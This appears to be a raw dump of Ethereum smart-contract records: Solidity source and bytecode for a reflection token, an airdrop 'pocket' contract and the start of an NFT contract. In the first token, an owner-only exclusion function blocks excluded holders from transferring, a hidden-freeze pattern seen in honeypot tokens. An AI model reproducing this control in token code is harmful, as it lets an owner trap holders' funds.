_tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], 'Account is already excluded'); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), 'ERC20: approve from the zero address'); require(spender != address(0), 'ERC20: approve to the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address sender, address recipient, uint256 amount ) private { require(sender != address(0), 'ERC20: transfer from the zero address'); require(recipient != address(0), 'ERC20: transfer to the zero address'); require(amount > 0, 'Transfer amount must be greater than zero'); if (sender != owner() && recipient != owner()) { require( amount <= _maxTxAmount, 'Transfer amount exceeds the maxTxAmount.' ); require(!_isExcluded[sender], 'Account is excluded'); } if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = 0; uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x608060405234801561001057600080fd5b50600436106101585760003560e01c80637d1db4a5116100c3578063d543dbeb1161007c578063d543dbeb146103fd578063d6946eb21461041a578063dd62ed3e14610422578063f2cc0c1814610450578063f2fde38b14610476578063f84354f11461049c57610158565b80637d1db4a51461034b5780638da5cb5b1461035357806395d89b4114610377578063a457c2d71461037f578063a9059cbb146103ab578063cba0e996146103d757610158565b80632d838119116101155780632d83811914610291578063313ce567146102ae57806339509351146102cc5780634549b039146102f857806370a082311461031d578063715018a61461034357610158565b8063053ab1821461015d57806306fdde031461017c578063095ea7b3146101f957806313114a9d1461023957806318160ddd1461025357806323b872dd1461025b575b600080fd5b61017a6004803603602081101561017357600080fd5b50356104c2565b005b61018461059a565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101be5781810151838201526020016101a6565b50505050905090810190601f1680156101eb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102256004803603604081101561020f57600080fd5b506001600160a01b038135169060200135610630565b604080519115158252519081900360200190f35b61024161064e565b60408051918252519081900360200190f35b610241610654565b6102256004803603606081101561027157600080fd5b506001600160a01b03813581169160208101359091169060400135610661565b610241600480360360208110156102a757600080fd5b50356106e8565b6102b661074a565b6040805160ff9092168252519081900360200190f35b610225600480360360408110156102e257600080fd5b506001600160a01b038135169060200135610753565b6102416004803603604081101561030e57600080fd5b508035906020013515156107a1565b6102416004803603602081101561033357600080fd5b50356001600160a01b0316610838565b61017a61089a565b61024161093c565b61035b610942565b604080516001600160a01b039092168252519081900360200190f35b610184610951565b6102256004803603604081101561039557600080fd5b506001600160a01b0381351690602001356109b2565b610225600480360360408110156103c157600080fd5b506001600160a01b038135169060200135610a1a565b610225600480360360208110156103ed57600080fd5b50356001600160a01b0316610a2e565b61017a6004803603602081101561041357600080fd5b5035610a4c565b61017a610ac8565b6102416004803603604081101561043857600080fd5b506001600160a01b0381358116916020013516610b66565b61017a6004803603602081101561046657600080fd5b50356001600160a01b0316610b91565b61017a6004803603602081101561048c57600080fd5b50356001600160a01b0316610d17565b61017a600480360360208110156104b257600080fd5b50356001600160a01b0316610e0f565b60006104cc610fcc565b6001600160a01b03811660009081526004602052604090205490915060ff16156105275760405162461bcd60e51b815260040180806020018281038252602c815260200180611c73602c913960400191505060405180910390fd5b600061053283610fd0565b505050506001600160a01b03831660009081526001602052604090205490915061055c908261101c565b6001600160a01b038316600090815260016020526040902055600654610582908261101c565b6006556007546105929084611065565b600755505050565b60088054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106265780601f106105fb57610100808354040283529160200191610626565b820191906000526020600020905b81548152906001019060200180831161060957829003601f168201915b5050505050905090565b600061064461063d610fcc565b84846110bf565b5060015b92915050565b60075490565b683635c9adc5dea0000090565b600061066e8484846111ab565b6106de8461067a610fcc565b6106d985604051806060016040528060288152602001611bb9602891396001600160a01b038a166000908152600360205260408120906106b8610fcc565b6001600160a01b0316815260208101919091526040016000205491906114b9565b6110bf565b5060019392505050565b600060065482111561072b5760405162461bcd60e51b815260040180806020018281038252602a815260200180611afe602a913960400191505060405180910390fd5b6000610735611550565b90506107418382611573565b9150505b919050565b600a5460ff1690565b6000610644610760610fcc565b846106d98560036000610771610fcc565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490611065565b6000683635c9adc5dea00000831115610801576040805162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604482015290519081900360640190fd5b8161081f57600061081184610fd0565b509294506106489350505050565b600061082a84610fd0565b509194506106489350505050565b6001600160a01b03811660009081526004602052604081205460ff161561087857506001600160a01b038116600090815260026020526040902054610745565b6001600160a01b038216600090815260016020526040902054610648906106e8565b6108a2610fcc565b6000546001600160a01b039081169116146108f2576040805162461bcd60e51b81526020600482018190526024820152600080516020611be1833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600b5481565b6000546001600160a01b031690565b60098054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106265780601f106105fb57610100808354040283529160200191610626565b60006106446109bf610fcc565b846106d985604051806060016040528060258152602001611c9f60259139600360006109e9610fcc565b6001600160a01b03908116825260208083019390935260409182016000908120918d168152925290205491906114b9565b6000610644610a27610fcc565b84846111ab565b6001600160a01b031660009081526004602052604090205460ff1690565b610a54610fcc565b6000546001600160a01b03908116911614610aa4576040805162461bcd60e51b81526020600482018190526024820152600080516020611be1833981519152604482015290519081900360640190fd5b610ac26064610abc683635c9adc5dea00000846115b5565b90611573565b600b5550565b610ad0610fcc565b6000546001600160a01b03908116911614610b20576040805162461bcd60e51b81526020600482018190526024820152600080516020611be1833981519152604482015290519081900360640190fd5b6000610b2a610fcc565b6040519091506001600160a01b038216904780156108fc02916000818181858888f19350505050158015610b62573d6000803e3d6000fd5b5050565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b610b99610fcc565b6000546001600160a01b03908116911614610be9576040805162461bcd60e51b81526020600482018190526024820152600080516020611be1833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526004602052604090205460ff1615610c57576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b6001600160a01b03811660009081526001602052604090205415610cb1576001600160a01b038116600090815260016020526040902054610c97906106e8565b6001600160a01b0382166000908152600260205260409020555b6001600160a01b03166000818152600460205260408120805460ff191660019081179091556005805491820181559091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b0319169091179055565b610d1f610fcc565b6000546001600160a01b03908116911614610d6f576040805162461bcd60e51b81526020600482018190526024820152600080516020611be1833981519152604482015290519081900360640190fd5b6001600160a01b038116610db45760405162461bcd60e51b8152600401808060200182810382526026815260200180611b286026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b610e17610fcc565b6000546001600160a01b03908116911614610e67576040805162461bcd60e51b81526020600482018190526024820152600080516020611be1833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526004602052604090205460ff16610ed4576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b60005b600554811015610b6257816001600160a01b031660058281548110610ef857fe5b6000918252602090912001546001600160a01b03161415610fc457600580546000198101908110610f2557fe5b600091825260209091200154600580546001600160a01b039092169183908110610f4b57fe5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600282526040808220829055600490925220805460ff191690556005805480610f9d57fe5b600082815260209020810160001990810180546001600160a01b0319169055019055610b62565b600101610ed7565b3390565b6000806000806000806000610fe48861160e565b915091506000610ff2611550565b905060008060006110048c8686611628565b919e909d50909b509599509397509395505050505050565b600061105e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114b9565b9392505050565b60008282018381101561105e576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b0383166111045760405162461bcd60e51b8152600401808060200182810382526024815260200180611c4f6024913960400191505060405180910390fd5b6001600160a01b0382166111495760405162461bcd60e51b8152600401808060200182810382526022815260200180611b4e6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166111f05760405162461bcd60e51b8152600401808060200182810382526025815260200180611c2a6025913960400191505060405180910390fd5b6001600160a01b0382166112355760405162461bcd60e51b8152600401808060200182810382526023815260200180611adb6023913960400191505060405180910390fd5b600081116112745760405162461bcd60e51b8152600401808060200182810382526029815260200180611c016029913960400191505060405180910390fd5b61127c610942565b6001600160a01b0316836001600160a01b0316141580156112b657506112a0610942565b6001600160a01b0316826001600160a01b031614155b1561136057600b548111156112fc5760405162461bcd60e51b8152600401808060200182810382526028815260200180611b706028913960400191505060405180910390fd5b6001600160a01b03831660009081526004602052604090205460ff1615611360576040805162461bcd60e51b81526020600482015260136024820152721058d8dbdd5b9d081a5cc8195e18db1d591959606a1b604482015290519081900360640190fd5b6001600160a01b03831660009081526004602052604090205460ff1680156113a157506001600160a01b03821660009081526004602052604090205460ff16155b156113b6576113b1838383611664565b6114b4565b6001600160a01b03831660009081526004602052604090205460ff161580156113f757506001600160a01b03821660009081526004602052604090205460ff165b15611407576113b183838361177b565b6001600160a01b03831660009081526004602052604090205460ff1615801561144957506001600160a01b03821660009081526004602052604090205460ff16155b15611459576113b1838383611821565b6001600160a01b03831660009081526004602052604090205460ff16801561149957506001600160a01b03821660009081526004602052604090205460ff165b156114a9576113b1838383611862565b6114b4838383611821565b505050565b600081848411156115485760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561150d5781810151838201526020016114f5565b50505050905090810190601f16801561153a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600080600061155d6118d2565b909250905061156c8282611573565b9250505090565b600061105e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a51565b6000826115c457506000610648565b828202828482816115d157fe5b041461105e5760405162461bcd60e51b8152600401808060200182810382526021815260200180611b986021913960400191505060405180910390fd5b600080808061161d858261101c565b935090915050915091565b600080808061163787866115b5565b9050600061164587876115b5565b90506000611653838361101c565b929992985090965090945050505050565b600080600080600061167586610fd0565b6001600160a01b038d16600090815260026020526040902054949950929750909550935091506116a5908761101c565b6001600160a01b0389166000908152600260209081526040808320939093556001905220546116d4908661101c565b6001600160a01b03808a1660009081526001602052604080822093909355908916815220546117039085611065565b6001600160a01b0388166000908152600160205260409020556117268382611ab6565b866001600160a01b0316886001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b600080600080600061178c86610fd0565b6001600160a01b038d16600090815260016020526040902054949950929750909550935091506117bc908661101c565b6001600160a01b03808a16600090815260016020908152604080832094909455918a168152600290915220546117f29083611065565b6001600160a01b0388166000908152600260209081526040808320939093556001905220546117039085611065565b600080600080600061183286610fd0565b6001600160a01b038d16600090815260016020526040902054949950929750909550935091506116d4908661101c565b600080600080600061187386610fd0565b6001600160a01b038d16600090815260026020526040902054949950929750909550935091506118a3908761101c565b6001600160a01b0389166000908152600260209081526040808320939093556001905220546117bc908661101c565b6006546000908190683635c9adc5dea00000825b600554811015611a115782600160006005848154811061190257fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611967575081600260006005848154811061194057fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b1561198557600654683635c9adc5dea0000094509450505050611a4d565b6119c5600160006005848154811061199957fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054849061101c565b9250611a0760026000600584815481106119db57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054839061101c565b91506001016118e6565b50600654611a2890683635c9adc5dea00000611573565b821015611a4757600654683635c9adc5dea00000935093505050611a4d565b90925090505b9091565b60008183611aa05760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561150d5781810151838201526020016114f5565b506000838581611aac57fe5b0495945050505050565b600654611ac3908361101c565b600655600754611ad39082611065565b600755505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122052d553907f0b99db85b51909d7a3421738f76f9fc8411c7ce5811ea37b4bb79964736f6c634300060c0033
[ 38 ]
0xf28c6994a0c7760faadd4d2dfba2d74f0728625a
pragma solidity 0.4.23; contract ERC20BasicInterface { event Transfer(address indexed from, address indexed to, uint256 value); function decimals() public view returns (uint8); function name() public view returns (string); function symbol() public view returns (string); function totalSupply() public view returns (uint256 supply); function balanceOf(address _owner) public view returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract ERC20Interface is ERC20BasicInterface { event Approval(address indexed owner, address indexed spender, uint256 value); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); } /** * @title ERC20Pocket * * This contract keeps particular token for the single owner. * * Original purpose is to be able to separate your tokens into different pockets for dedicated purposes. * Whenewer a withdrawal happen, it will be transparent that tokens were taken from a particular pocket. * * Contract emits purely informational events when transfers happen, for better visualisation on explorers. */ contract OPEXairdrop is ERC20BasicInterface { ERC20Interface public constant TOKEN = ERC20Interface(0x0b34a04b77Aa9bd2C07Ef365C05f7D0234C95630); address public constant OWNER = 0xCba6eE74b7Ca65Bd0506cf21d62bDd7c71F86AD8; string constant NAME = 'Optherium Airdrop Tokens'; string constant SYMBOL = 'OPEXairdrop'; modifier onlyOwner() { require(msg.sender == OWNER, 'Access denied'); _; } function deposit(uint _value) public onlyOwner() returns(bool) { require(TOKEN.transferFrom(OWNER, address(this), _value), 'Deposit failed'); emit Transfer(0x0, OWNER, _value); return true; } function withdraw(address _to, uint _value) public onlyOwner() returns(bool) { require(TOKEN.transfer(_to, _value), 'Withdrawal failed'); emit Transfer(OWNER, 0x0, _value); return true; } function totalSupply() public view returns(uint) { return TOKEN.balanceOf(address(this)); } function balanceOf(address _holder) public view returns(uint) { if (_holder == OWNER) { return totalSupply(); } return 0; } function decimals() public view returns(uint8) { return TOKEN.decimals(); } function name() public view returns(string) { return NAME; } function symbol() public view returns(string) { return SYMBOL; } function transfer(address _to, uint _value) public returns(bool) { if (_to == address(this)) { deposit(_value); } else { withdraw(_to, _value); } return true; } function recoverTokens(ERC20BasicInterface _token, address _to, uint _value) public onlyOwner() returns(bool) { require(address(_token) != address(TOKEN), 'Can not recover this token'); return _token.transfer(_to, _value); } }
0x6080604052600436106100ae5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100b3578063117803e31461013d57806318160ddd1461017b578063313ce567146101a25780635f3e849f146101cd57806370a082311461021857806382bfefc81461024657806395d89b411461025b578063a9059cbb14610270578063b6b55f25146102a1578063f3fef3a3146102b9575b600080fd5b3480156100bf57600080fd5b506100c86102ea565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101025781810151838201526020016100ea565b50505050905090810190601f16801561012f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561014957600080fd5b50610152610321565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561018757600080fd5b50610190610339565b60408051918252519081900360200190f35b3480156101ae57600080fd5b506101b76103ef565b6040805160ff9092168252519081900360200190f35b3480156101d957600080fd5b5061020473ffffffffffffffffffffffffffffffffffffffff60043581169060243516604435610469565b604080519115158252519081900360200190f35b34801561022457600080fd5b5061019073ffffffffffffffffffffffffffffffffffffffff60043516610673565b34801561025257600080fd5b506101526106bf565b34801561026757600080fd5b506100c86106d7565b34801561027c57600080fd5b5061020473ffffffffffffffffffffffffffffffffffffffff6004351660243561070e565b3480156102ad57600080fd5b50610204600435610768565b3480156102c557600080fd5b5061020473ffffffffffffffffffffffffffffffffffffffff60043516602435610992565b60408051808201909152601881527f4f707468657269756d2041697264726f7020546f6b656e730000000000000000602082015290565b73cba6ee74b7ca65bd0506cf21d62bdd7c71f86ad881565b604080517f70a082310000000000000000000000000000000000000000000000000000000081523073ffffffffffffffffffffffffffffffffffffffff1660048201529051600091730b34a04b77aa9bd2c07ef365c05f7d0234c95630916370a082319160248082019260209290919082900301818787803b1580156103be57600080fd5b505af11580156103d2573d6000803e3d6000fd5b505050506040513d60208110156103e857600080fd5b5051905090565b6000730b34a04b77aa9bd2c07ef365c05f7d0234c9563073ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1580156103be57600080fd5b60003373ffffffffffffffffffffffffffffffffffffffff1673cba6ee74b7ca65bd0506cf21d62bdd7c71f86ad81461050357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600d60248201527f4163636573732064656e69656400000000000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff8416730b34a04b77aa9bd2c07ef365c05f7d0234c95630141561059c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f43616e206e6f74207265636f766572207468697320746f6b656e000000000000604482015290519081900360640190fd5b8373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561063f57600080fd5b505af1158015610653573d6000803e3d6000fd5b505050506040513d602081101561066957600080fd5b5051949350505050565b600073ffffffffffffffffffffffffffffffffffffffff821673cba6ee74b7ca65bd0506cf21d62bdd7c71f86ad814156106b6576106af610339565b90506106ba565b5060005b919050565b730b34a04b77aa9bd2c07ef365c05f7d0234c9563081565b60408051808201909152600b81527f4f50455861697264726f70000000000000000000000000000000000000000000602082015290565b60003073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107535761074d82610768565b5061075f565b61075d8383610992565b505b50600192915050565b60003373ffffffffffffffffffffffffffffffffffffffff1673cba6ee74b7ca65bd0506cf21d62bdd7c71f86ad81461080257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600d60248201527f4163636573732064656e69656400000000000000000000000000000000000000604482015290519081900360640190fd5b604080517f23b872dd00000000000000000000000000000000000000000000000000000000815273cba6ee74b7ca65bd0506cf21d62bdd7c71f86ad860048201523073ffffffffffffffffffffffffffffffffffffffff166024820152604481018490529051730b34a04b77aa9bd2c07ef365c05f7d0234c95630916323b872dd9160648083019260209291908290030181600087803b1580156108a557600080fd5b505af11580156108b9573d6000803e3d6000fd5b505050506040513d60208110156108cf57600080fd5b5051151561093e57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600e60248201527f4465706f736974206661696c6564000000000000000000000000000000000000604482015290519081900360640190fd5b60408051838152905173cba6ee74b7ca65bd0506cf21d62bdd7c71f86ad8916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3506001919050565b60003373ffffffffffffffffffffffffffffffffffffffff1673cba6ee74b7ca65bd0506cf21d62bdd7c71f86ad814610a2c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600d60248201527f4163636573732064656e69656400000000000000000000000000000000000000604482015290519081900360640190fd5b604080517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff85166004820152602481018490529051730b34a04b77aa9bd2c07ef365c05f7d0234c956309163a9059cbb9160448083019260209291908290030181600087803b158015610ab557600080fd5b505af1158015610ac9573d6000803e3d6000fd5b505050506040513d6020811015610adf57600080fd5b50511515610b4e57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f5769746864726177616c206661696c6564000000000000000000000000000000604482015290519081900360640190fd5b60408051838152905160009173cba6ee74b7ca65bd0506cf21d62bdd7c71f86ad8917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3506001929150505600a165627a7a7230582076d10495d296d0790004f14a6c410d000cad39b87f7fd944755af69a352d80140029
[ 38 ]
0xf28c8d9d08bc4d0dd8a0255ab80b9f96bf3268f7
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: NONLETHAL PORTRAITS /// @author: manifold.xyz import "./ERC721Creator.sol"; /////////////////////////////////////////////////////////////////////////////////////// // // // // // // // β–ˆβ–ˆβ–ˆβ•—β–‘β–‘β–ˆβ–ˆβ•—β–‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–‘β–ˆβ–ˆβ–ˆβ•—β–‘β–‘β–ˆβ–ˆβ•—β–ˆβ–ˆβ•—β–‘β–‘β–‘β–‘β–‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•—β–‘β–‘β–ˆβ–ˆβ•—β–‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–‘β–ˆβ–ˆβ•—β–‘β–‘β–‘β–‘β–‘ // // β–ˆβ–ˆβ–ˆβ–ˆβ•—β–‘β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ•—β–‘β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β–‘β–‘β–‘β–‘β–‘β–ˆβ–ˆβ•”β•β•β•β•β•β•šβ•β•β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•‘β–‘β–‘β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘β–‘β–‘β–‘β–‘β–‘ // // β–ˆβ–ˆβ•”β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β–‘β–‘β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β–‘β–‘β–‘β–‘β–‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–‘β–‘β–‘β–‘β–‘β–ˆβ–ˆβ•‘β–‘β–‘β–‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β–‘β–‘β–‘β–‘β–‘ // // β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β–‘β–‘β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β–‘β–‘β–‘β–‘β–‘β–ˆβ–ˆβ•”β•β•β•β–‘β–‘β–‘β–‘β–‘β–ˆβ–ˆβ•‘β–‘β–‘β–‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β–‘β–‘β–‘β–‘β–‘ // // β–ˆβ–ˆβ•‘β–‘β•šβ–ˆβ–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘β–‘β•šβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–‘β–‘β–‘β–ˆβ–ˆβ•‘β–‘β–‘β–‘β–ˆβ–ˆβ•‘β–‘β–‘β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β–‘β–‘β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— // // β•šβ•β•β–‘β–‘β•šβ•β•β•β–‘β•šβ•β•β•β•β•β–‘β•šβ•β•β–‘β–‘β•šβ•β•β•β•šβ•β•β•β•β•β•β•β•šβ•β•β•β•β•β•β•β–‘β–‘β–‘β•šβ•β•β–‘β–‘β–‘β•šβ•β•β–‘β–‘β•šβ•β•β•šβ•β•β–‘β–‘β•šβ•β•β•šβ•β•β•β•β•β•β• // // __________ __ .__ __ // // \______ \____________/ |_____________ |__|/ |_ ______ // // | ___/ _ \_ __ \ __\_ __ \__ \ | \ __\/ ___/ // // | | ( <_> ) | \/| | | | \// __ \| || | \___ \ // // |____| \____/|__| |__| |__| (____ /__||__| /____ > // // \/ \/ // // // // // /////////////////////////////////////////////////////////////////////////////////////// contract NLP is ERC721Creator { constructor() ERC721Creator("NONLETHAL PORTRAITS", "NLP") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: 